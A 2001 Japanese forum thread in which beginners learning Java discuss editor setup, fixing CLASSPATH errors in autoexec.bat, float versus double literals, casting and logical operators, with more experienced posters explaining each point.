僕は実力なんてたいしてないから、最初っからそんなところで格好付けてもしかたないって思ってる。
他のところで努力する。そしていつかは・・・って感じで。

まあ、最近のバージョンはだんだん多機能になってきて、ウリである「軽さ」が薄れてきたんだけど
それでもやっぱ軽いっしょ。

535 ：525：01/09/10 20:33

一応、薦めたからには最低限のフォローはするね。
とりあえず、最新の正式版（現時点では0.71）を落としてきて。

で、デフォルトの設定から、ちょっとだけJavaのコーディングがしやすいように変える。
僕のオススメ設定はこんな感じ。
----------------------------------------------------
『表示(V)』→『オプション(O)』

『基本』：
「タブの文字数」：4
「オートインデント」：チェック
「カーソル行に下線を表示」：チェック

『表示』：
「TABマーク」：チェック

『色』：
「TAB、空白」：黒

『行番号/ルーラー』：
「標準モード時は非表示」：チェックを外す

『ファイル』：
「ユーザーファイルフィルタ」:「;*.java」を追加

『ウィンドウ/漢字コード』：
「漢字/改行コードを自動認識する」：チェック
「保存時の漢字コード」：読み込み時の漢字コードと同じ
「保存時の改行コード」：読み込み時の改行コードと同じ
-----------------------------------------------------
「タブの文字数」と「TAB、空白」の色は、僕の好み。

あと、低い解像度（800*600,1024*768あたり）で利用してる人は
『表示(V)』→『フォント(F)』でフォントサイズを小さくした方がいいと思う、10あたりに。
まぁ、これこそ個人の好みの問題だけど。

536 ：525：01/09/10 20:43

んで、「Shift＋F1」を押してみて。
ショートカットキーの一覧が出るよね。
プリンタがあるなら、それを印刷してモニタの横にでも貼っておいた方が良いと思う。
これだけで、作業効率が3割は上がる。

プリンタ持ってないのなら、まぁ、なんとなく眺めて、だいたいどんな機能があるかを憶えて。
適当でいいよ。分からなくなったら、またその都度見ればいいわけだし。

最初はそんな感じ。
後は、使い込んでいくうちに勝手に憶えていくと思う。

オンラインヘルプとかも、結構充実してるので慣れてきたら目を通してみて。
ちょっと文章のテンションが高いというか、僕みたいなダウナー系の人間には、ちょっとつらいんだけど。
でも、読む価値はあるよ。

んで、アドオン機能とか使い込んで、それでも物足りなくなったら、次のエディッタに進むと良いんじゃないかな？
その頃には、自分がどういうものを望んでいるのか、はっきりとわかるようになってると思うから。

長くなった。
ごめん。

537 ：525：01/09/10 20:55

>534
>TaraPad

打ちミス。
○：TeraPad。

鬱。

538 ：はじめの一歩：01/09/10 22:40

このスレ好きだなぁ。
人の成長する様が面白いね。
僕もいつかRPGをつくりたいと言う夢があるからガンバロ。
ゲームやりまくってからだけど。

539 ：　：01/09/11 00:15

>525
ありがとう！参考になったよ
TeraPadバンザーイ！

540 ：名無しさん：01/09/11 01:57

Cpat for Java　おすすめだよ。
http://hp.vector.co.jp/authors/VA017148/

F9押すだけでコンパイル&実行出来るから
いちいちDosでコマンド打ち込む必要も無いしね。
なによりスマートインデント機能が便利だとおもう。

541 ：ワサモ：01/09/19 04:40 ID:kYI1u6js

なんかいろいろやってるなぁ。
途中で挫折するのを恐れて足を踏み出せない俺とは大違いだ。

ＪＡＶＡって、自分のホームページで何かおもしろいことができるの？

542 ：　：01/09/19 12:30 ID:rZ.W.tNA

>541
http://www.brackeen.com/home/
こんなん出来るらしいよ。
すげえええ

543 ：age：01/09/22 08:18 ID:RylhwuoM

age

544 ：nnsi3：01/09/24 18:43 ID:ZKlEAUj.

delphiってどうよ？

545 ：”ｓ”ａｇｅ：01/09/25 20:58 ID:.0za0qRM

挫折した？

546 ：ジャバーウォッキー：01/09/25 23:52 ID:6wfhsgQM

すまん、もうちょっと待ってくれえ。（就活中）
誰か盛り上げてくらはい

547 ：いいとも見てますか？：01/09/26 18:58 ID:Vbwoskv2

delphiで、"Hello world"って表示するプログラム書いてくれ

548 ：いっぽ：01/09/26 19:22 ID:cIe1J.WU

delphiのスレ立てたらいいんじゃない？
http://www.borland.co.jp/kylix/report/yamamura_2.html

549 ：名無しさん＠ＸＥｍａｃｓ：01/09/26 21:19 ID:2m/Fr.ik

>>547
C Magazine 10月号買って勉強しれ．Delphi 6 Personal
もついておる．

550 ：馬鹿：01/09/27 10:19 ID:vDdOusRk

うおおおおお　やるぞ

みなさん　よろしくお願いします
でも、正直cかjavaのどちらにしようかなやんでます

どっちが良かと？

551 ：.：01/09/27 10:44 ID:m3l3Muiw

>>550
とりあえずココは Java スレなハズなので
Java と言っておきなされ．ふぁ，寝よ．

552 ：馬鹿：01/09/27 16:54 ID:036w3zEU

人すくないね

553 ：547：01/09/27 17:37 ID:LjBl/OaY

>>549
お金ないんで１１月に発売のを書いてもらえるとうれしいある

554 ：ワサモ：01/09/28 07:37 ID:0Sk.LkMc

１と同じ本を買ったぞ。
ここまできてdat落ちなんぞさせてたまるかい。
よってage

555 ：馬鹿：01/09/28 11:18 ID:HBo8FRbc

うおおおおお　バイトだるかった

よろしくワサモさん
僕も今日、同じ本を買ってきます

556 ：◎：01/09/29 07:44 ID:ADko9YSo

Ｃ言語のポインタあたりまで先にやっておいたほうがよいと思いますヨ。

557 ：　：01/09/29 08:11 ID:Sz.zH0VQ

C,VC++,Java,Delphi,VB 全部覚えた
超楽勝だネ　簡単簡単

558 ：おにゃんこそば：01/09/29 08:38 ID:wlcT0JiM

>>557 VBで簡単なラーメンタイマー作ってみ、10行以内な

559 ：おにゃんこそば：01/09/29 08:39 ID:wlcT0JiM

あ、Javaスレだった。Javaで　（＾＾；

560 ：馬鹿：01/09/29 10:13 ID:0gOWSbLY

教えてください

C C++ C#って何が違うんですか？
どれがおすすめですか？

マジレスきぼん

561 ：.：01/09/29 19:01 ID:wkhAKV0I

>>560
瞬殺される可能性は否定し切れないが，
君の将来の為に敢えて言おう．

専門板へ行け

562 ：馬鹿：01/09/29 21:12 ID:HKm4HfNM

>>561
このスレに来る前にいきましたが何か？

すでに瞬殺されずみですが何か？

563 ：ワサモ：01/10/01 03:19 ID:LK9nlIIU

>555
ども、よろしくお願いします。

１２３＋４５６（一番最初に書くやつ）ができない…（笑
「コマンドまたはファイル名が違います」

javac Sample1.java

これのどこが間違いなんだろう…

564 ：ワサモ：01/10/01 03:25 ID:LK9nlIIU

public class Sample1
{
public static void main(String args[])
{
int a, b, c;

a = 123;
b = 456;
c = a + b;
System.out.println(c);
}
}

う～む…

565 ：無職Χ（現在有職）：01/10/01 03:33 ID:2xkVKjmo

>>560
C.....高級アセンブラ
C++...Cにオブジェクト指向風味な味をつけたもの
C#.....ゲイツがさらに稼ぐために作った言語

566 ：ワサモ：01/10/01 04:09 ID:4T64Cyzs

どうもAutoexec.Batにつけたす文字がまずかったらしい。
（PATH: C\jdk1.3\bin:%PATH%　とか書いてた)
しかも、それを修正したら、一度再起動しないといけないらしい。
（電源切らずに何度も再入力してた）
どこが間違ってるかわからんのはムズイね。
ソースファイルは合ってるだろうし。

コンパイル完了。しか～しJAVAアプリケーションを実行すると

"Exception in thread "main" java.lang.NoClassDefFoundError: Sample1

またもや謎。

567 ：ワサモ：01/10/01 04:25 ID:4T64Cyzs

thread...糸、細い線、筋、筋道
lang...language
def...defective,defense,deferred,definite,defenition

defective...欠点のある
deferred...延期された
defenite...明確な、一定の、限定された
defense...防御、防御物、弁護

う～む。

568 ：ワサモ：01/10/01 04:45 ID:Xlmthqeg

Autoexec.Batをメモ帳で開いた時

@ECHO OFF
PATH=C:\NECUTILS
loadhigh c:\windows\COMMAND\nlsfunc.exe c:\windows\country.sys
@SET CLASSPATH=C:\PROGRA~1\PHOTOD~1.1\ADOBEC~1
PATH C:\jdk1.3\bin;%PATH%

下から２行目は本には載ってない。何なんだろう。
いっぺん消してみるか。

569 ：ワサモ：01/10/01 04:59 ID:m4Oq6wUc

>568の下から２行目を削ってみた。
するとできた。123+456の計算。
579と表示された。

でも、いいのかなぁ。
>568の下から２行目、
ひょっとしたらすごく大事な文なんじゃないだろうか。
これ削ったせいでどっかに支障が出るんじゃないだろうか。
そもそもこのファイルは元々どこにあったんだろう。
Windowsの共有ファイルだったりしたらエライことになりそうな気がする。

怖いから今日はここで止めておこう。
誰か詳細教えてフリーズ。

570 ：名無し：01/10/01 13:55 ID:AHcI/jCo

本日日本実業出版社のｊａｖａのすべて買いました。
ううむ、むずい。

571 ：：01/10/01 14:26 ID:F3k0y0Y6

Adobe PhotoDeluxe はインストール時に
autoexec.batのclasspathを書き換えてしまうそうです。
classpathを消すとPhotoDeluxeの動作に
支障が出るかもしれませんので
カレントフォルダを表す[ . ]を加えたclasspath
にすればよいですよ。

↓パスを区切る文字[ ; ]のあとに[ . ]を加えたclasspass
@SET CLASSPATH=C:\PROGRA~1\PHOTOD~1.1\ADOBEC~1;.

それからdefは多分definition（定義）の略です。

572 ：ワサモ：01/10/02 02:15 ID:9jE/sCHc

>571氏
おおっ、ありがとうございます。
早速書き換えてみます。

しかしすげ～…
あれ見ただけでAdobe PhotoDeluxeが入ってるとわかるなんて…

573 ：age：01/10/06 00:23 ID:jTQJlszo

age

574 ：にゃんたく：01/10/08 09:36 ID:5ITMwVWg

ＭＳがＪＡＶＡを捨てに行ってるので
ココの人かわいそうです

575 ：GridBagConstraint：01/10/08 22:56 ID:OEIgqcHk

今awt使ってるって古いのかな

576 ：ノースマン：01/10/09 02:28 ID:G/PL68Ug

＞＞５７４様
私もＭＳのＪＡＶＡ（サンマイクロシステムズ？）潰しの予感
有りです。
ＷｉｎｄｏｗｓＸＰはＪａｖａＶＭ積んでないのでＡｐｐｌｅｔ動かないみたい
ですね。
と言うことはＣ＃＃が主流に？
Ｗｉｎｄｏｗｓ・・・・・ＭＳが作ったＭＡＣＯＳ？
インターネットエクスプローラー・・・・・・ＭＳが作ったネットスケイプ？
そして＿＿Ｃ＃＃・・・ＭＳが作ったＪＡＶＡ？
だれかビルゲイツに「平家物語読」読ましてやってくれ！！！
沙羅双樹の花の色「盛者必衰の理を表す」
さらそうじゅのはなのいろじょうしゃひっすいのことわりをあらわす
「いつかはポシャルのさ！ふん」

577 ：ノースマン：01/10/09 02:37 ID:G/PL68Ug

追伸です。
でもＣ＃＃とＪａｖａはオブジェクト指向に対する考え方は似ている
気がするのでＪａｖａを勉強する事は決して無駄にはならない
と思います。
上級者の皆様のご意見承りたいところですね。

578 ：どじや：01/10/09 12:36 ID:mQJ0yI1o

でも携帯はJavaだろ

579 ：◎：01/10/10 17:26 ID:aewibE3g

オブジェクト指向プログラミングをJavaからはじめるのは
悪くない選択肢だと思います。

580 ：ジャバーウォッキー：01/10/10 23:18 ID:a4KxYaxw

就活中ですが、たいていのＳＩ系企業はJava重視だよ。
まあ、初心者なんでどうせ面接の印象で決まるんだろうけど・・・

581 ：ジャバーウォッキー：01/10/10 23:20 ID:a4KxYaxw

>◎さん
お久しぶりです。
基本情報の勉強でいっぱいいっぱいで
Javaの勉強するひまがないっす（いや、Javaで受けるんだけどさ）
でもなんか書いてアップしたいとこです。
その折にはよろしくお願いします。

582 ：：01/10/11 00:46 ID:z4uor3L2

Cスレが逝ってしまった…

583 ：ノースマン：01/10/11 02:26 ID:/IZVx9Mk

友達のパソコンスクール講師の話では、
Ｊａｖａアプレットは他のソフト（ＦＬＡＳＨ等）に押され気味らしいですが
サーバーサイドＪａｖａ（サーブレット）、ｉアプリ、家電の制御プログラム
は伸びているらしいです。
たとえＭＳのＣ＃に主流が移ってもＪａｖａのオブジェクト指向の考え方
（ｃｌａｓｓを上手く使って目的を遂げる）を理解していれば
応用がきくとの事です
本当かな？

584 ：age ：01/10/12 06:04 ID:Xydk3wDQ

age

585 ：◎：01/10/12 16:37 ID:YfLI4Aug

>>581 こちらこそよろしくお願いします、頑張って下さいネ。
>>583 本当ッスヨ。

586 ：おお：01/10/12 17:30 ID:Nwus8BUM

今は１・２種の選択にJavaがあるのか

587 ：ジャバーウォッキー：01/10/13 02:09 ID:qMYEGSx.

>>583
そうそう、面接で聞きまくってるんだけど（アホだと思われてそう）、
サーバーはどんどんJava(EJB)に移行中のようです。
UNIXを撲滅しない限りC#主流にはならないとおもうけどなー。
プログラマ板でJava叩く人が多いのは、
純粋に言語仕様が気に入らないからだと思います。
俺はイベントハンドラあたりが理解困難。

>>586
この秋からです！ソフ開（１種）は知らないけれど・・・

588 ：ノースマン：01/10/13 02:54 ID:TK3Z65hU

このスレッドは皆様真面目なので安心して書き込めます。
＞＞587様ＥＪＢ（ＥｎｔｅｒｐｒｉｓｅＪａｖａＢｅａｎｓ）
はかなり、伸びそうですね。
私も実は詳しくありません・・・・・・
聞くところによると、クライアントとデーターベースの間に
アプリケーションサーバーなるものを設けて、そこにロジックを
書き出す為のコンポーネントらしいです。
クライアントが増加した場合のサーバー能力低下を防ぐには
かなり有効らしいのですが、詳しいことは理解できてませんです。
おいおい勉強する事にします。
皆さんもこつこつ頑張りましょう。
・・・説教くさくてスンません

589 ：ノースマン：01/10/13 03:10 ID:TK3Z65hU

＞＞◎様
いつも、貴重なご意見有難うございます。
かなりの実力者とお見受けしております。
これからもよろしくお願いいたします。

590 ：にゃんたく：01/10/13 04:58 ID:dzYCwjfI

１時期ＪＡＶＡ自分で覚えて、アプレットとか作ったりしたけど・・・

やっぱイベントとかクラスとかそういうのが嫌になったので、
ＣとかＶＢとかＨＳＰの方の方がいいや

591 ：◎：01/10/14 00:59 ID:Ec6Djy2I

>>589 そうだとよいのですが(w　よろしくお願いします。

592 ：ワサモ：01/10/15 00:18 ID:obx9Kw6v

保守も兼ねて、今まで出したエラーメッセージなぞを書き込んでみますか。
なんとなく意味がわかったのもあり、わからないままのものもあり。

ample3.java:11: ';' がありません。
public void paint(Graphics g)

Sample3.java:15: 'class' または 'interface' がありません。

Sample3.java:11: メソッド本体がないか、abstract として宣言されています。
public void paint(Graphics g)

警告: Appletviewer プロパティファイルが読み込まれません: C:\WINDOWS\.
hotjava\properties デフォルトを使用します。

Exception in thread "main" java.lang.NoClassDefFoundError: Smaple5

Sample7.java:7: 'class' または 'interface' がありません。
public lcass Sample7
^

593 ：ワサモ：01/10/15 00:21 ID:obx9Kw6v

ありゃりゃ、スペースが削られちゃってる…
「^」の位置がずれてるわい。

594 ：~：01/10/15 00:48 ID:IntJwwDc

>590
クラスが苦手ってのを、オブジェクト指向が分からないと勝手に判断させてもらうとして、
UMLをお勉強する事を薦めたい。
んで、暇な時にでも身近な物（者、モノ、即ち是オブジェクト也）をUMLモデル化してみたりとかして、TVとかPCとかさ。

2週間も経てば、多分いつの間にかオブジェクト指向的な考え方が身に付いてる（妙な表現だが）と思われ。
少なくとも、僕はそれで自分の中で形になった（つもりになっただけかもだけど）ので、オススメ。

ttp://www.shoeisha.com/book/Detail.asp?bid=71
因みに僕は、定番「独習シリーズ」でお勉強したよ。
分かり易かった様な気がするけど、絶対的な読書量が少ないというか、他のUML入門本をあんま読んでないので、比較は出来ないけど・・・
本屋で何冊か立ち読みしてから決めるといいね。無責任でごめん。

http://www.ogis-uml-university.com/
自信が付いたら、UML検定のブロンズでも受けてみるといいよ。
無料だし、web上で何度でも受けられるしね。
ブロンズは持ってても自慢にはならないというか、持ってて当然って感じになっちゃってるけど、
でも認定証とか送られてきてさ、なんか無意味に嬉しいもんだよ。ガキでスマンね。

イベントに関しては・・・キライなモンはキライなんだろうから仕方ないとして、CUIで頑張るって方向で。
でも、やっぱ時代はGUIだしね、慣れるしかないのかな。
・・・クライアントサイドのJavaなんてハナから誰も期待してないから、まぁいいんじゃない？別に。

595 ：　：01/10/19 22:39 ID:fH9lQkqZ

age

596 ：^：01/10/21 01:04 ID:7Q0Ja/AI

age

597 ：ジャバーウォッキー：01/10/22 00:53 ID:GARiHw13

基本情報終わった！
Javaを学ぶものに幸あれ！て感じだったよ！
このスレには受けた人いないのかな？

598 ：はらぺこさん：01/10/22 01:05 ID:HpTGy4xr

598ｵﾊﾟｰｲ

599 ：はらぺこさん：01/10/22 01:06 ID:HpTGy4xr

そして599ｵﾊﾟｰｲ

600 ：ヤカン：01/10/22 01:06 ID:Zw6nXdyb

俺出願してたんだけど行けなかったよ
だめの俺に朝9時集合なんて言われたって

601 ：はらぺこさん：01/10/22 01:06 ID:HpTGy4xr

伝説の600ｵﾊﾟｰｲ!!

602 ：はらぺこさん：01/10/22 01:07 ID:HpTGy4xr

>>ヤカン

ひどい。あんまりだ。

603 ：ジャバーウォッキー：01/10/22 01:29 ID:GARiHw13

>伝説の600ｵﾊﾟｰｲ!!
ﾜﾗﾀ

>ヤカン
３分の１くらいは空席なんだよな－
資格板の基本情報スレとか見てなかった？
ああいうのに参加するとやる気が出るよ。

604 ：ヤカン：01/10/23 00:25 ID:S7omqfCp

ん？俺なんかした？…
…と思ったら600踏んでたのかすまん(笑

605 ：はらぺこさん：01/10/23 01:11 ID:kNQ7CS9t

>ヤカン
ラわーい！！
ヤカンは良い奴だ！！

ﾔｶﾝﾜｼｮｰｲ!!

606 ：10000：01/10/23 03:42 ID:vqJjYfrF

age?

607 ：ワサモ：01/10/28 03:08 ID:168Faq/C

保守sage。ネタなくてｽﾏｿ。

608 ：両刀初心者：01/10/29 00:01 ID:TTGdQont

Ｃスレも書きこんだりしてるけど、
こっちもあげ。がんばれ

609 ：ワサモ：01/10/29 23:41 ID:+kQ655YO

public static void main(String args[])
{
// 変数を定義する。
float GEKKYU, BONUS_RITSU, MONTH_PER_YEAR, ZEI_RITSU;
GEKKYU = 200000;
BONUS_RITSU = 3;
MONTH_PER_YEAR = 12;
ZEI_RITSU = 0.2;

// 変数を定義する。
float Bonus, Nenshu, Zeikin;

// ボーナス、年収、および税金を計算する。
Bonus = GEKKYU * BONUS_RITSU;
Nenshu = GEKKYU * MONTH_PER_YEAR + Bonus;
Zeikin = Nenshu * ZEI_RITSU;

// 月給、ボーナス、年収、および税金の値を表示する。
System.out.println("月給 = " + GEKKYU + "円");
System.out.println("ボーナス = " + Bonus + "円");
System.out.println("年収 = " + Nenshu + "円");
System.out.println("税金 = " + Zeikin + "円");
}
}

これは何がダメなんでしょうか。以下エラーメッセージ。

精度が落ちている可能性
ZEI_RITSU = 0.2
^

610 ：Java恥めました。：01/10/30 00:03 ID:NHjyMyhQ

>>609
ZEI_RITDUはfloat型
0.2はdouble型だからじゃないかな？
違ったらスマソ、

611 ：ワサモ：01/10/30 00:29 ID:MUXu4Oh3

えっと…テキストによると

float型は
±3.40282347*(10の38乗)～±1.40239864*(10の-45乗)

double型は
±1.79769313486231570*(10の308乗)～±4.94065645841245644*(10の-324乗)

0.2はfloatで大丈夫じゃないのかな？と思うんですが…どうでしょう？

612 ：名無しさん：01/10/30 00:33 ID:/ZmXu/nk

迷ったらdoubleで統一。
全部ダブルでも大して問題ないよ。

613 ：ワサモ：01/10/30 00:36 ID:MUXu4Oh3

あと、定数を定義するとき
long や float はそれぞれ数の後にLやFをつけるそうですが、
数字の後に文字がついてもいいんでしょうか。

final long L=123L
final float F=123F

としたら、「123」ではなく「123L」「123F」という
数字（値？）になる（→エラー？）んじゃないか、とか思うんですが…
Char や boolean 以外は文字を無視する、とかいうなら別ですが。

614 ：おすぎです：01/10/30 00:37 ID:XouUzdVY

0.200000
とかで代入してみてもダメか？
憶測だけど。

615 ：ワサモ：01/10/30 00:39 ID:MUXu4Oh3

んで、>613なら

final long L=123;
final float F=123;

でいいんじゃないかなぁ？と思うんですが…
変数を宣言＆代入するときは単純に見えたのに、
定数になるとやたら難しくなって…

あーちょっと整理がつかなくなってきた。

616 ：ワサモ：01/10/30 00:45 ID:MUXu4Oh3

>614
ダメでした…

617 ：ワサモ：01/10/30 00:47 ID:MUXu4Oh3

>612
一度float（と、定数でFをつけるとかなんとか）が出て、
気になってしまって…
そのあたりを読み飛ばす、という手もありますけど…

618 ：Java恥めました。：01/10/30 00:57 ID:LRXdZWV2

ただ123って書いただけじゃコンパイラはint型なのか
float型なのか判らないでしょ？
だから
long L=123Lとかfloat F=123Fみたいに数字のあとに
型を明示的に指定してあげるんだよ。
数字のあとにつけるFとかLってのは定数の型を
指定する特別な識別子なので、エラーにはなら
ないですよ。
型指定ぜずに数字をそのまま書いた場合、
整数はint型、浮動小数点型はdouble型と
判断される（桁数が少なくても!）
よって0.2はfloat型ではなくdouble型なのです。
ってあってます?どなたか識者の方のご意見を
聞きたいです。

619 ：ワサモ：01/10/30 01:12 ID:MUXu4Oh3

>618Java恥めました。氏
型を指定している時点では見分けられないんでしょうか。

long L = 123L;

（最初にlongだって言ってるのに、なぜわざわざLをつけねばならんのだ？）
という感じです。ちょっと、わかりにくいかなぁ…。

特別な識別子＝エラーにはならない、というのはOKです。

620 ：Java恥めました。：01/10/30 01:33 ID:co72bV68

>>619
>型を指定している時点では見分けられないんでしょうか。
うーん、そこまではよくわからないですが、だめなんじゃ
ないでしょうか。
ただしint→longやfloat→doubleなどの表現できる桁数の
小さい型から大きい型へ代入する場合はコンパイラが
自動的に型変換してくれます。

例)
int i1=123;
float f1=0.2F;
double d1;
d1=f1; ←f1が自動的にdouble型に変換されてd1に代入される。
d1=i1; ←これも自動的に変換される。

逆に
f1=d1;
みたいに桁数の大きい型から小さいに代入しようとするとコンパイラに
怒られてしまいます。
なぜならば、double型をfloat型に変換しようとすると桁数が減って
しまうので、変数のもっている情報をすべて渡せない可能性が
あるからです。

細かい規則なんかは参考書などで確かめてみてください。

621 ：おすぎです：01/10/30 01:44 ID:XouUzdVY

勝手にdoubleにされてるんなら
ZEI_RITSU = (float)0.2;
で代入したらいんじゃね？又憶測だけど。

622 ：ワサモ：01/10/30 01:44 ID:MUXu4Oh3

型変換OKです。
データ量の大きい値を小さい型に入れようとすると
「代入しろつっても容器が小さすぎるんじゃｺﾞﾙｧ」ってことですね。
逆（小を大に入れる）は勝手にやってくれるからOKと。

もう少し参考書読んでみます。

623 ：ワサモ：01/10/30 01:54 ID:MUXu4Oh3

>621おすぎです氏
OKでした。
これ、キャストですね？　まだ十分にはわかってませんが。

floatって扱いづらいのかなぁ…。
longとintはキャストの時はあまり問題ないみたいだし…。

624 ：ワサモ：01/10/30 03:09 ID:Hwpxoh1+

論理演算子が全く理解できない…命題の真偽とかのことなのか？
誰か具体例出して～

625 ：◎：01/10/31 00:01 ID:OGbtkR0T

intの定数123(32bit)と、longの定数123L(64bit)を
コンピュータが内部で扱っている２進数で表すと
123　→ 0000 0000 0000 0000 0000 0000 0111 1011
123L → 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0111 1011
となります。
この違いを意識してプログラムすることもあるのですよ。
>>199にも書きましたが、Java恥めました。さんがおっしゃった通り
大きい型から小さい型へ代入するときには値が変わることがあるので
Javaでは明示的にキャストしなくてはなりません。

浮動小数点型、float(32bit)とdouble(64bit)の定数も
同じ関係になります。

それから浮動小数点型を扱うときには「丸め誤差」に注意してください。
たとえば１０進数の0.2をコンピュータが扱う２進数で表そうとすると、
0.001100110011...と無限に繰り返して続く循環小数になってしまうのです。
浮動小数点型は32bitか64bit幅しかないためどうしても
誤差が出てしまいます。（丸め誤差）

お金など正確な値が必要な場合は整数型のintやlong、
longよりもっと大きな数を扱う必要があればパッケージjava.mathにある
クラスBigIntegerやBigDecimalを使うとよいですよ。

JavaFAQの浮動小数点のページです。
http://www.gimlay.org/~javafaq/S029.html

>>624
このページはどうでしょうか？
http://www.itboost.co.jp/java/java_09.php

626 ：java.lang.NullPointerException：01/10/31 01:42 ID:UscwQ2em

Java恥めました。と◎が素晴らしい説明をしてるので、もうフォローの必要が無いとは思うのだけれども、

>型を指定している時点では見分けられないんでしょうか。
>long L = 123L;
>（最初にlongだって言ってるのに、なぜわざわざLをつけねばならんのだ？）

に対するシンプルな答えが返ってないようなので、念の為のツッコミをしておくよ。

実定数123は「int型の定数」であるということは、>618で説明があったよね。
int型をlong型に代入してるから、自動で拡張変換がかかって分かりにくくなるわけだ。

逆にして考えてみよう。
=======================================================================
型を指定している時点では見分けられないんでしょうか。

final long LONG_VAL = 123;
int i = (int)LONG_VAL;

（最初にintだって言ってるのに、なぜわざわざキャストせねばならんのだ？）
=======================================================================

極端な例でイヤミぽくなっちゃったけど、そういうつもりは無いよん。

627 ：シンボルを解釈処理できません：01/10/31 03:00 ID:ZaFKi2Wp

Javaスレらしい「名無し」を考えてるんだけど・・・良さゲなの思いつかない。

論理演算子を使った具体例ねぇ。
具体例って言われると、なんか簡単なの思いつかないよね。

論理積（andな）とかは、フィルターというか、マスクというか、そういうのに使いそうだよね。
身近な例では、サブネットマスクとかさ。

うーん、例えば、絵描きツールとかで、FE8C5Aとかって色があったとして、
その赤色の要素（？　美術の専門的な事は全然わからない。雰囲気を掴んでくれ）だけを取り除きたいって時、

1111 1110 1000 1100 0101 1010　（FE8C5A）
　　　　　　　&
0000 0000 1111 1111 1111 1111　（赤色（FF0000）を取り除く）

結果、
0000 0000 1000 1100 0101 1010　（008C5A）

って、なんだか普通にアタマを00ってすればいいじゃねぇか、ってかんじだけど、
これは真っ赤（FF0000）で、対象が1ピクセルだからそう思うのであって、
微妙な色だったら、そしてマスクをかける範囲が広かったら・・・って考えれば・・・
・・・すまん、誰かもっといい例を出してくれ。

排他的論理和とかは、なんかon/offのスイッチとかに使えそうだよね。

boolean myFlag = false;
myFlag ^= true;

とかってさ。
あ、これは簡単そう。暇ができたら何か組んでみよー。

628 ：java.lang.NullPointerException：01/10/31 03:14 ID:AXbb6Hfg

やっぱ「名無し」ぽさでは、こっちかなぁ？

検索してたらこんなのあったよ。
JavaScriptだけど、理屈を知りたいのだから関係ないよね。

ttp://www.openspc2.org/JavaScript/column/30.htm

629 ：ワサモ：実況その１：01/10/31 03:23 ID:g/qBnZe3

とりあえず>626の理解状況を生中継でお送りします。

>618の
＞型指定ぜずに数字をそのまま書いた場合、
＞整数はint型、浮動小数点型はdouble型と
＞判断される（桁数が少なくても!）
がカギ？

long A=123;
とすると、コンピューターは
「123はlong型のAという箱に入っているint型の数」
と理解するのかな？
（いや、整数の定数は箱の型に合わせて自動で変換されるんだよなぁ…ん～？）

＞final long LONG_VAL = 123;
＞int i = (int)LONG_VAL;
＞
＞（最初にintだって言ってるのに、なぜわざわざキャストせねばならんのだ？）
これは、箱（型）の容量が小さいから
「わざわざキャスト」しないと入らない、ってことかなぁ…？

逆にして…？
intだとコンピュータが思っている数123…
final long A = 123;
コンピュータの言い分「あれ？　int型じゃないの？」
（Aという箱の型は見てない）
識別子Lをつけて
final long A = 123L;
コンピュータの言い分「ああ、Lがついてるってことはlongなのね」
（やっぱりAという箱の型は見てない）
ってことなのかな。

630 ：ワサモ：実況その２：01/10/31 03:25 ID:g/qBnZe3

＞int型をlong型に代入してるから、自動で拡張変換がかかって分かりにくくなるわけだ。
＞
＞逆にして考えてみよう。
ん？　この文はつまり、long型の数をint型に入れてみよう、ってことか。
すると…
long型の数はint型には入らないよな、そりゃあ…

631 ：ワサモ：実況その３：01/10/31 03:51 ID:g/qBnZe3

（参考書を見る）なに、
long A = 123;
でも問題ないのか。問題あるのはfloat型のみ…とあるな。
「明確に示さなくても、自動的に変換される」…。

となると…
Lって…いわば目印！？
floatの時のみ必ず付けろ、っていう感じの…。

整数のデフォルトはint→longはintより容量が大きいから自動変換が働く
よってべつにLを付けなくてもいい
少数のデフォルトはdouble→floatはdoubleより容量が小さいので
double（デフォルト型）とコンピュータに思われている数をfloatに入れるには
F(f)をつけるか、キャストで小さく指定しないとダメ

ひょっとして、小数のデフォルトがdoubleなのがすべての原因なのかー！？

632 ：シンボルを解釈処理できません：01/10/31 03:55 ID:hln4wLNl

やっぱこっちだな。

>long A=123;
>とすると、コンピューターは
>「123はlong型のAという箱に入っているint型の数」
>と理解するのかな？

ごめん、言葉足らずだった？
「123はint型」であって、それをlong型に代入した時、コンパイラが暗黙のうちに自動的にlong型に変換してるのよ。
Javaの言語仕様だね。

633 ：ワサモ：実況その４：01/10/31 03:58 ID:g/qBnZe3

となると>629は…

final long A = 123;

コンピュータの言い分「あれ？　int型じゃなくてlong型？」
（123だけならintだと思っていたが、Aという箱の型を見るとlongだった。
しかたないのでとりあえず数の型をlongに修正）

識別子Lをつけると

final long A = 123L;
コンピュータの言い分「ああ、Lがついてるってことは間違いなくlongなのね」
（Aという箱の型(long)通りに人間が数を宣言して(Lをつけて)きたので安心）

かな？

634 ：シンボルを解釈処理できません：01/10/31 03:58 ID:qfz+NXQ+

sage忘れアーンド行き違い。

なんか、形になってきてるね。
頑張れ。僕はもう寝るが。

635 ：ワサモ＠脳内作業進行中：01/10/31 04:01 ID:g/qBnZe3

>632
>633でオッケーでしょうか。

636 ：ワサモ＠脳内作業進行中：01/10/31 04:02 ID:g/qBnZe3

あらら。

637 ：ワサモ＠実況その５：01/10/31 04:05 ID:g/qBnZe3

>634シンボルを解釈処理できません氏
おやすみなさい。

実況再開。

ということは、おおもとの>609を考えてみよう。

＞// 変数を定義する。
＞float GEKKYU, BONUS_RITSU, MONTH_PER_YEAR, ZEI_RITSU;
＞GEKKYU = 200000;
＞BONUS_RITSU = 3;
＞MONTH_PER_YEAR = 12;
＞ZEI_RITSU = 0.2;

638 ：シンボルを解釈処理できません：01/10/31 04:06 ID:BAXwOPKc

もうちょっと付き合おーっと。
おもしろいから。

639 ：ワサモ＠実況その６：01/10/31 04:21 ID:g/qBnZe3

＞float GEKKYU, BONUS_RITSU, MONTH_PER_YEAR, ZEI_RITSU;

コンピューターの声「はい、ZEI_RITSUにはfloat型の小数が来るんですね。」
（最後尾にFかfのついた数が入力されると思っている）

＞ZEI_RITSU = 0.2;
コンピューターの声「はい、ZEI_RITSUに0.2を…って、えぇぇ！？　0.2！？
0.2はdouble型の数なんだけど…Fとかf付いてないし…」
（Fやfがないとコンピューターはdoubleだと思う）

コンパイル
＞精度が落ちている可能性
＞ZEI_RITSU = 0.2

コンピューターの声

　　　　　＿＿＿＿
　　　／　　　　　　＼
　　 /＿＿＿＿＿＿|
　　　　　∥∧ ∧¶　　／￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　.( ﾟДﾟ)/　＜ float型の容器にdouble型の小数は入らねぇよｺﾞﾙｧ！！
